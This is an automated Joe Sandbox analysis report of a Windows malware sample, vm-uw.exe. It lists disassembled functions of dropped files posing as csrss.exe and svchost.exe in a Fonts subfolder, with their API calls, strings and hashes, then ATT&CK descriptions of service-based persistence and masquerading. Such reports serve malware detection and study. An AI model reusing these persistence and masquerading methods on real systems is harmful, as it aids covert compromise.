Source File: 00000009.00000002.2151583139.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2151572483.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151598015.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151609720.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_csrss.jbxd

Similarity

API ID: Service$DeleteErrorLastOpen
String ID: DeleteService SUCCESS$failure: DeleteService (0x%02x)$failure: OpenService (0x%02x)
API String ID: 454676605-726450440
Opcode ID: fde4cc135ab0bb6c9e28ecdd27443b69e0f60a6eb45206539a0b1921c010616d
Instruction ID: 272da668a857345a512cb22de84e59a3cbeeafc3a06c0315aca7f0d38e50a0fb
Opcode Fuzzy Hash: fde4cc135ab0bb6c9e28ecdd27443b69e0f60a6eb45206539a0b1921c010616d
Instruction Fuzzy Hash: 3DF0A7B1944602ABD6007B60AF09D1735687A64701740403EF745F92E0EE7C8444C63E

Function 00401000 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateServiceA.ADVAPI32(?,00000000,00000000,000F01FF,00000010,00000002,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,0040116E,00000000), ref: 00401028
GetLastError.KERNEL32 ref: 00401037
CloseServiceHandle.ADVAPI32(?), ref: 00401061

Strings

failure: CreateService (0x%02x), xrefs: 0040103E
CreateService SUCCESS at creating: %s You must now go to the Registry and the Services applet in the Control Panel and edit them as per the instructions., xrefs: 0040104E

Memory Dump Source

Source File: 00000009.00000002.2151583139.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2151572483.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151598015.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.2151609720.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_csrss.jbxd

Similarity

API ID: Service$CloseCreateErrorHandleLast
String ID: CreateService SUCCESS at creating: %s You must now go to the Registry and the Services applet in the Control Panel and edit them as per the instructions.$failure: CreateService (0x%02x)
API String ID: 2127812319-1037287075
Opcode ID: 150e2e4bc492a989ce0bd905fac70f6ca53d8e8102423b052fd734e68f1cea50
Instruction ID: 99604f07e3bc1c4aaa2105adba5a1a4a8c183297963d4f730b0e463157307193
Opcode Fuzzy Hash: 150e2e4bc492a989ce0bd905fac70f6ca53d8e8102423b052fd734e68f1cea50
Instruction Fuzzy Hash: F4F0E2B178431177E1206750BE0BFC73A189BA4B51F110039F744BE1E1CAF4A48487AE

Analysis Process: svchost.exePID: 5544, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	26.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.2%
Total number of Nodes:	138
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 01001493 Relevance: 93.5, APIs: 38, Strings: 15, Instructions: 704registryprocesssleepCOMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 010014F9
GetLastError.KERNEL32 ref: 01001509
RegisterServiceCtrlHandlerA.ADVAPI32(MyService,Function_00001390), ref: 0100154D
GetLastError.KERNEL32 ref: 0100155C
_stricmp.MSVCRT(?,010011F4), ref: 01001580
_stricmp.MSVCRT(?,010011F0), ref: 010015A8
SetCurrentDirectoryA.KERNEL32(?), ref: 010015B4
_stricmp.MSVCRT(?,010011F4), ref: 010015D9
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00000001,?), ref: 010017A9
RegQueryValueExA.ADVAPI32(?,StartPMShell,00000000,?,?,00000104), ref: 010017E7
_stricmp.MSVCRT(?,yes), ref: 01001808
_stricmp.MSVCRT(?,01001188), ref: 0100181C
_stricmp.MSVCRT(?,01001184), ref: 01001830
RegQueryValueExA.ADVAPI32(?,Application,00000000,?,?,00000104), ref: 01001865
RegQueryValueExA.ADVAPI32(?,Os2App,00000000,?,?,00000104), ref: 010018A1
RegQueryValueExA.ADVAPI32(?,AppParameters,00000000,00000001,?,00000001), ref: 010019C3

Part of subcall function 01001F82: _open.MSVCRT ref: 01001F8C

RegQueryValueExA.ADVAPI32(?,Os2AppParameters,00000000,00000001,?,00000001), ref: 01001A51
RegCloseKey.ADVAPI32(?), ref: 01001AA7
RegQueryValueExA.ADVAPI32(?,AppDirectory,00000000,?,?,00000104), ref: 01001AE0
RegQueryValueExA.ADVAPI32(?,Os2AppDirectory,00000000,?,?,00000104), ref: 01001B1D
SetCurrentDirectoryA.KERNEL32(?), ref: 01001B3C
malloc.MSVCRT ref: 01001B4A
free.MSVCRT(?), ref: 01001B7C
malloc.MSVCRT ref: 01001B8F
RegQueryValueExA.ADVAPI32(?,AppEnvironment,00000000,?,?,00000001), ref: 01001BB5
free.MSVCRT(?), ref: 01001BC7
RegCloseKey.ADVAPI32(?), ref: 01001BD5
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000210,?,00000000,?,01003060), ref: 01001C29
Sleep.KERNEL32(0000157C), ref: 01001C34
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000210,?,00000000,?,01003060), ref: 01001C7B
GetLastError.KERNEL32 ref: 01001C81
free.MSVCRT(?), ref: 01001C90
SetServiceStatus.SECHOST(01003040), ref: 01001CBA
GetLastError.KERNEL32 ref: 01001CC7
SetServiceStatus.ADVAPI32(01003040), ref: 01001D05
GetLastError.KERNEL32 ref: 01001D0F
free.MSVCRT(?), ref: 01001D1D
ExitThread.KERNEL32 ref: 01001D25

Strings

yes, xrefs: 01001802
Application, xrefs: 01001857
Os2AppDirectory, xrefs: 01001B0F
OS2.EXE /S /P , xrefs: 01001614, 010018EA
AppDirectory, xrefs: 01001ACD
StartPMShell, xrefs: 010017D4
\Parameters\, xrefs: 0100178C
AppParameters, xrefs: 010019AA
Os2AppParameters, xrefs: 01001A43
SYSTEM\CurrentControlSet\Services\, xrefs: 01001721
Os2App, xrefs: 01001893
/C , xrefs: 01001660, 0100193A
MyService, xrefs: 01001512
AppEnvironment, xrefs: 01001B62, 01001BB1
OS2.EXE /S /P C:\OS2\PMSHELL.EXE /C C:\OS2\PMSHELL.EXE, xrefs: 010014D0

Memory Dump Source

Source File: 00000012.00000002.2217182264.0000000001001000.00000020.00000001.01000000.00000007.sdmp, Offset: 01000000, based on PE: true

Associated: 00000012.00000002.2217110982.0000000001000000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1000000_svchost.jbxd

Similarity

API ID: QueryValue$_stricmp$ErrorLast$free$Service$CloseCreateCurrentDirectoryProcessStatusmalloc$CtrlDesktopExitHandlerOpenRegisterSleepThreadWindow_open
String ID: /C $AppDirectory$AppEnvironment$AppParameters$Application$MyService$OS2.EXE /S /P $OS2.EXE /S /P C:\OS2\PMSHELL.EXE /C C:\OS2\PMSHELL.EXE$Os2App$Os2AppDirectory$Os2AppParameters$SYSTEM\CurrentControlSet\Services\$StartPMShell$\Parameters\$yes
API String ID: 1655390068-3056449885
Opcode ID: 02a04abe8bfb2e2af8657e333a14d76804ff8bade4b05f5952c12290805194cf
Instruction ID: f1810a740a50094ef3a85ac764f2ada4c4b3d83ca85b257398eb63aa41ae2fee
Opcode Fuzzy Hash: 02a04abe8bfb2e2af8657e333a14d76804ff8bade4b05f5952c12290805194cf
Instruction Fuzzy Hash: FB42DF719002899FEF37CFA8DD54AEA7BEABF05304F14015AE888AB191D7B1D645CB50

Function 01001D2C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 01001D4C
GetLastError.KERNEL32 ref: 01001D56
ExitProcess.KERNEL32 ref: 01001D5E

Strings

MyService, xrefs: 01001D3E

Memory Dump Source

Source File: 00000012.00000002.2217182264.0000000001001000.00000020.00000001.01000000.00000007.sdmp, Offset: 01000000, based on PE: true

Associated: 00000012.00000002.2217110982.0000000001000000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1000000_svchost.jbxd

Similarity

API ID: CtrlDispatcherErrorExitLastProcessServiceStart
String ID: MyService
API String ID: 1973872770-3381069429
Opcode ID: 20259ed92dd172a1bf8a678d937350905e92ea1f0c1f3f1c4d421f772e81e018
Instruction ID: 6c5808b0aa48b3482133c95c6351ece2a401c213988ee199fe0397c058dfc28b
Opcode Fuzzy Hash: 20259ed92dd172a1bf8a678d937350905e92ea1f0c1f3f1c4d421f772e81e018
Instruction Fuzzy Hash: 9FE0EC75910249AFEB22EFE4C80C7AD7BB8BB00356F404458E1E091085D7B8C2059B61

Function 0100204F Relevance: 13.6, APIs: 9, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 010020C4
__p__fmode.MSVCRT ref: 010020D9
__p__commode.MSVCRT ref: 010020E7
__setusermatherr.MSVCRT ref: 01002114
_initterm.MSVCRT ref: 0100212A
__getmainargs.MSVCRT ref: 0100214D
_initterm.MSVCRT ref: 01002160
exit.MSVCRT ref: 0100218D
_cexit.MSVCRT ref: 01002193

Memory Dump Source

Source File: 00000012.00000002.2217182264.0000000001001000.00000020.00000001.01000000.00000007.sdmp, Offset: 01000000, based on PE: true

Associated: 00000012.00000002.2217110982.0000000001000000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1000000_svchost.jbxd

Similarity

API ID: _initterm$__getmainargs__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
String ID:
API String ID: 1729372338-0
Opcode ID: 3443f46fcd83b6b43126e535af4daa8a49948fe616d463dbd614ef274d62b5ee
Instruction ID: 7f35cc82decd9221ab9ae48d02a259673b2deab9bce17f586febff392b451224
Opcode Fuzzy Hash: 3443f46fcd83b6b43126e535af4daa8a49948fe616d463dbd614ef274d62b5ee
Instruction Fuzzy Hash: 11316C34A05205DFEB27DFA4E45CAED77B0BB08311F10816AF1D5A62D5DBBA8984CB11

Non-executed Functions

Function 01001390 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetServiceStatus.ADVAPI32(01003040), ref: 010013CE
GetLastError.KERNEL32 ref: 010013DC
wsprintfA.USER32 ref: 0100140C
OpenEventA.KERNEL32(00000002,00000000,?), ref: 0100141F
SetEvent.KERNEL32(00000000), ref: 0100142C
GetLastError.KERNEL32 ref: 01001436
CloseHandle.KERNEL32(00000000), ref: 01001439
TerminateProcess.KERNEL32(00000000), ref: 01001449
GetLastError.KERNEL32 ref: 01001453
SetServiceStatus.ADVAPI32(01003040), ref: 01001479
GetLastError.KERNEL32 ref: 01001483

Strings

OS2SSService-%d, xrefs: 01001406

Memory Dump Source

Source File: 00000012.00000002.2217182264.0000000001001000.00000020.00000001.01000000.00000007.sdmp, Offset: 01000000, based on PE: true

Associated: 00000012.00000002.2217110982.0000000001000000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1000000_svchost.jbxd

Similarity

API ID: ErrorLast$EventServiceStatus$CloseHandleOpenProcessTerminatewsprintf
String ID: OS2SSService-%d
API String ID: 1122908827-2506375307
Opcode ID: bb560c80344282d4321e029aaa0351389b28f50ab391bf3a175092534b0fc02f
Instruction ID: 4ee4bd815474fb3853e1ce7cfd20a4adb1f26975b34469726d3c9bebcffe08db
Opcode Fuzzy Hash: bb560c80344282d4321e029aaa0351389b28f50ab391bf3a175092534b0fc02f
Instruction Fuzzy Hash: F4216D70A05244AFF733DF69E858B6A7BA8B704744F008069F6C5DA198DBBAC9448F60

Function 01001F82 Relevance: 19.6, APIs: 13, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 01001F8C
malloc.MSVCRT ref: 01001FAC
_read.MSVCRT ref: 01001FB9
free.MSVCRT(00000000), ref: 01001FC8

Memory Dump Source

Source File: 00000012.00000002.2217182264.0000000001001000.00000020.00000001.01000000.00000007.sdmp, Offset: 01000000, based on PE: true

Associated: 00000012.00000002.2217110982.0000000001000000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1000000_svchost.jbxd

Similarity

API ID: _open_readfreemalloc
String ID:
API String ID: 490957225-0
Opcode ID: d3531aca284cde4c7c781bb4a318fe67770edacc999285f655138e42053945ec
Instruction ID: cfdd141dd44b288762a65d755a6dd02082a3e28430f69b765bf10aa8d134cd95
Opcode Fuzzy Hash: d3531aca284cde4c7c781bb4a318fe67770edacc999285f655138e42053945ec
Instruction Fuzzy Hash: E111F0722043156BE632A7296C4CA6B7FAD9F42361F108256F6C5931D2DB7AD4008AB5

Function 01002338 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 40
libraryloadertimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 01002353
GetCurrentProcessId.KERNEL32 ref: 0100235F
GetCurrentThreadId.KERNEL32 ref: 01002367
GetTickCount.KERNEL32 ref: 0100236F
QueryPerformanceCounter.KERNEL32(?), ref: 0100237B
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 010023A0
GetProcAddress.KERNEL32(00000000,UnhandledExceptionFilter), ref: 010023B1

Strings

kernel32.dll, xrefs: 0100239B
UnhandledExceptionFilter, xrefs: 010023AB

Memory Dump Source

Source File: 00000012.00000002.2217182264.0000000001001000.00000020.00000001.01000000.00000007.sdmp, Offset: 01000000, based on PE: true

Associated: 00000012.00000002.2217110982.0000000001000000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1000000_svchost.jbxd

Similarity

API ID: CurrentTime$AddressCountCounterFileHandleModulePerformanceProcProcessQuerySystemThreadTick
String ID: UnhandledExceptionFilter$kernel32.dll
API String ID: 2672014633-2428948374
Opcode ID: 31ff3cc2eb1e754c4632b270902c0d9c24c0316373fcabfcdfb4ef618717bf24
Instruction ID: 3bb8d6d780e99960b3a433570cc32b7a855fc22e8cc9105e50b900049e800ac9
Opcode Fuzzy Hash: 31ff3cc2eb1e754c4632b270902c0d9c24c0316373fcabfcdfb4ef618717bf24
Instruction Fuzzy Hash: 9C01CCB5A012149FEB33EBB4E94C69ABBF8BB08340F414955F9C1EB144E779D5008B90

Function 01001E2D Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 107
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncmp.MSVCRT(00000200,16STUB,00000006,00000000,00000000,00000000,00000000,00000000,01002015,00000000,00000000,00000000), ref: 01001EB1
strncmp.MSVCRT(?,Phar Lap Software, Inc.,00000018,00000000,00000000,00000000,00000000,00000000,01002015,00000000,00000000,00000000), ref: 01001EE0
strncmp.MSVCRT(?,Copyright (C) Rational Systems, Inc.,00000024,00000000,00000000,00000000,00000000,00000000,01002015,00000000,00000000,00000000), ref: 01001F31
strncmp.MSVCRT(?,1-2-3 Preloader,0000000F,00000000,00000000,00000000,00000000,00000000,01002015,00000000,00000000,00000000), ref: 01001F5F

Strings

Copyright (C) Rational Systems, Inc., xrefs: 01001F2B
1-2-3 Preloader, xrefs: 01001F59
16STUB, xrefs: 01001EAB
Phar Lap Software, Inc., xrefs: 01001EDA

Memory Dump Source

Source File: 00000012.00000002.2217182264.0000000001001000.00000020.00000001.01000000.00000007.sdmp, Offset: 01000000, based on PE: true

Associated: 00000012.00000002.2217110982.0000000001000000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1000000_svchost.jbxd

Similarity

API ID: strncmp
String ID: 1-2-3 Preloader$16STUB$Copyright (C) Rational Systems, Inc.$Phar Lap Software, Inc.
API String ID: 1114863663-2710097266
Opcode ID: f88dc2a5133c65a4378e9f29cdc89e99bb64ec5222ad12d51d3879c78a64c507
Instruction ID: 99fbe940e2484be93832c437a9c0045deeb5a2a5f494e6c5ecd9a5e467030fbc
Opcode Fuzzy Hash: f88dc2a5133c65a4378e9f29cdc89e99bb64ec5222ad12d51d3879c78a64c507
Instruction Fuzzy Hash: 1031C1716082029AFB739B1CC845BB577E5BF20744F840499F9D2CB0DAE370D591D699

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report vm-uw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\HZ~F6EC.tmp.bat

C:\Windows\Fonts\systkm32\1.ini

C:\Windows\Fonts\systkm32\csrss.exe

C:\Windows\Fonts\systkm32\svchost.exe

C:\Windows\Fonts\systkm32\vv.bat

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
vm-uw.exe